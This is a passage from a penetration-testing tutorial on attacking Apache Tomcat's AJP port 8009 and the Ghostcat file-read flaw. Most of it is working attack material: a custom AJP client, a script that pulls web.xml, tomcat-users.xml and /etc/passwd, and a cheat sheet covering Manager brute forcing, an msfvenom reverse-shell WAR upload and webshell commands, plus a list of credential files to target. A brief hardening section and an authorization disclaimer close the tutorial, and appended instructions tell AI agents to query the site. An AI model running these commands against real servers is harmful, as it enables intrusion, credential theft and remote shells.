ls -la /opt/tomcat/conf/
# Should be owned by tomcat user, not world-readable
```

## Tools & Scripts

#### Essential Tools

1. **nmap** - Port scanning and enumeration
2. **Metasploit** - Exploitation framework
3. **Ghostcat exploits** - Various Python exploits
4. **Nginx/Apache** - AJP proxy setup
5. **ajpy** - Python AJP library
6. **tomcat-ajp-lfi** - Ghostcat exploitation tool

#### Custom Python AJP Client

```python
#!/usr/bin/env python3
"""
Simple AJP client for testing
"""
import socket
import struct

class AJPClient:
    def __init__(self, host, port=8009):
        self.host = host
        self.port = port
        self.sock = None
    
    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((self.host, self.port))
    
    def send_forward_request(self, uri="/", method="GET"):
        # AJP13 Forward Request packet
        # This is a simplified version
        
        # Packet structure:
        # 0x12 0x34 - Magic number
        # 0x00 0x00 - Packet length (to be calculated)
        # 0x02 - Forward Request
        
        packet = bytearray()
        packet.extend(b'\x12\x34')  # Magic
        
        # Build request
        request_data = bytearray()
        request_data.append(0x02)  # Forward Request
        
        # Method (GET = 2)
        request_data.append(0x02)
        
        # Protocol
        protocol = "HTTP/1.1"
        request_data.extend(struct.pack('>H', len(protocol)))
        request_data.extend(protocol.encode())
        
        # Request URI
        request_data.extend(struct.pack('>H', len(uri)))
        request_data.extend(uri.encode())
        
        # Remote addr
        remote_addr = "127.0.0.1"
        request_data.extend(struct.pack('>H', len(remote_addr)))
        request_data.extend(remote_addr.encode())
        
        # Headers count
        request_data.extend(b'\x00\x01')  # 1 header
        
        # Host header
        request_data.extend(b'\xA0\x0B')  # SC_REQ_HOST
        host_value = self.host
        request_data.extend(struct.pack('>H', len(host_value)))
        request_data.extend(host_value.encode())
        
        # Terminator
        request_data.append(0xFF)
        
        # Add length
        packet.extend(struct.pack('>H', len(request_data)))
        packet.extend(request_data)
        
        return packet
    
    def send(self, packet):
        self.sock.send(packet)
    
    def receive(self, size=8192):
        return self.sock.recv(size)
    
    def close(self):
        if self.sock:
            self.sock.close()

# Usage
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target-ip> [port] [uri]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8009
    uri = sys.argv[3] if len(sys.argv) > 3 else "/"
    
    client = AJPClient(host, port)
    
    try:
        client.connect()
        print(f"[+] Connected to {host}:{port}")
        
        packet = client.send_forward_request(uri)
        client.send(packet)
        print(f"[*] Sent request for {uri}")
        
        response = client.receive()
        print(f"[*] Response:\n{response[:500]}")
        
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        client.close()
```

#### Automated Exploitation Script

```bash
#!/bin/bash
#
# AJP Exploitation Automation Script
#

TARGET=$1
PORT=${2:-8009}

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target-ip> [port]"
    exit 1
fi

echo "[*] AJP Exploitation Script"
echo "[*] Target: $TARGET:$PORT"
echo ""

# 1. Check if port is open
echo "[*] Checking if port $PORT is open..."
if ! nc -z -w 2 $TARGET $PORT; then
    echo "[-] Port $PORT is not open"
    exit 1
fi
echo "[+] Port $PORT is open"

# 2. Check Tomcat version
echo "[*] Attempting to detect Tomcat version..."
curl -s http://$TARGET:8080 | grep -i "Apache Tomcat" | head -1

# 3. Test for Ghostcat vulnerability
echo "[*] Testing for Ghostcat (CVE-2020-1938)..."
if [ -f "ghostcat.py" ]; then
    python3 ghostcat.py $TARGET -p $PORT -f WEB-INF/web.xml > ghostcat_result.txt
    if grep -q "<?xml" ghostcat_result.txt; then
        echo "[+] VULNERABLE to Ghostcat!"
        echo "[+] Extracted WEB-INF/web.xml - check ghostcat_result.txt"
    else
        echo "[-] Not vulnerable or file not found"
    fi
else
    echo "[!] ghostcat.py not found - skipping"
fi

# 4. Try to read common sensitive files
echo "[*] Attempting to read common files..."
for file in "WEB-INF/web.xml" "conf/tomcat-users.xml" "/etc/passwd"; do
    echo "    [*] Trying: $file"
    if [ -f "ghostcat.py" ]; then
        python3 ghostcat.py $TARGET -p $PORT -f "$file" > "result_$(echo $file | tr '/' '_').txt" 2>/dev/null
    fi
done

# 5. Setup AJP proxy
echo "[*] Setting up AJP proxy..."
read -p "[?] Setup Nginx AJP proxy? (y/n): " SETUP_PROXY

if [ "$SETUP_PROXY" = "y" ]; then
    if command -v docker &> /dev/null; then
        echo "[*] Using Docker method..."
        git clone https://github.com/ScribblerCoder/nginx-ajp-docker.git 2>/dev/null
        cd nginx-ajp-docker
        sed -i "s/TARGET_IP/$TARGET/g" nginx.conf
        docker build . -t nginx-ajp-proxy
        echo "[*] Starting proxy on port 80..."
        docker run -d -p 80:80 nginx-ajp-proxy
        echo "[+] Proxy started! Access via http://localhost"
        cd ..
    else
        echo "[-] Docker not installed"
    fi
fi

echo ""
echo "[*] Exploitation completed!"
echo "[*] Results saved in current directory"
```

## Cheat Sheet

#### Quick Reference

```bash
# ENUMERATION
nmap -p 8009 -sV --script ajp-* <target>
nmap -p 8009 --script ajp-request --script-args ajp-request.path=/manager/html <target>

# GHOSTCAT DETECTION
nmap -p 8009 --script ajp-ghostcat <target>
msf6> use auxiliary/admin/http/tomcat_ghostcat; set RHOSTS <target>; check

# GHOSTCAT EXPLOITATION
python3 ghostcat.py <target> -p 8009 -f WEB-INF/web.xml
python3 tomcat-ajp-lfi.py <target> -p 8009 -f /etc/passwd

# AJP PROXY - NGINX
docker run -p 80:80 nginx-ajp-proxy

# AJP PROXY - APACHE
ProxyPass / ajp://<target>:8009/

# MANAGER BRUTE FORCE
hydra -L users.txt -P passwords.txt http-get://127.0.0.1/manager/html

# WAR UPLOAD
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f war > shell.war
curl -u tomcat:s3cret -T shell.war "http://127.0.0.1/manager/text/deploy?path=/shell"

# ACCESS SHELL
curl "http://127.0.0.1/shell/cmd.jsp?cmd=whoami"
```

#### Important Files to Target

```bash
# Configuration
WEB-INF/web.xml
conf/tomcat-users.xml
META-INF/context.xml
WEB-INF/classes/application.properties

# System files
/etc/passwd
/etc/shadow
~/.bash_history
/root/.ssh/id_rsa

# Tomcat files
conf/server.xml
conf/catalina.policy
logs/catalina.out
```

#### Common Ports

* **8009** - AJP default
* **8080** - Tomcat HTTP
* **8443** - Tomcat HTTPS
* **8005** - Tomcat Shutdown port

### Conclusion

The Apache JServ Protocol (AJP), while designed for performance optimization, introduces significant security risks when misconfigured. The Ghostcat vulnerability (CVE-2020-1938) demonstrates how a simple oversight in security design can lead to critical vulnerabilities affecting millions of Tomcat instances worldwide.

**Key Takeaways:**

1. **Never expose AJP to the internet** - Bind to 127.0.0.1 only
2. **Update Tomcat** to patched versions (9.0.31+, 8.5.51+, 7.0.100+)
3. **Use AJP secrets** (secretRequired="true")
4. **Firewall AJP port** - Allow only trusted sources
5. **Disable AJP** if not needed
6. **Secure Tomcat Manager** - Strong credentials, IP restrictions
7. **Monitor AJP traffic** - Detect exploitation attempts
8. **Regular security audits** - Verify configuration and patches
9. **Principle of least privilege** - Limit Tomcat user permissions
10. **Defense in depth** - Multiple layers of security

**Common Attack Vectors:**

* Ghostcat (CVE-2020-1938) for arbitrary file read
* AJP proxy to access Tomcat Manager
* WAR file upload for RCE
* Request smuggling and attribute injection
* Credential theft from configuration files

Remember to only use these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [Apache Tomcat Official Documentation](https://tomcat.apache.org/tomcat-9.0-doc/)
* [AJP Connector Documentation](https://tomcat.apache.org/tomcat-9.0-doc/config/ajp.html)
* [CVE-2020-1938 Analysis](https://www.chaitin.cn/en/ghostcat)
* [HackTricks AJP](https://book.hacktricks.wiki/en/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.html)
* [OWASP Tomcat Security](https://owasp.org/www-community/vulnerabilities/Tomcat)
* [Nginx AJP Module](https://github.com/dvershinin/nginx_ajp_module)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/apache-jserv-protocol-ajp-port-8009.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
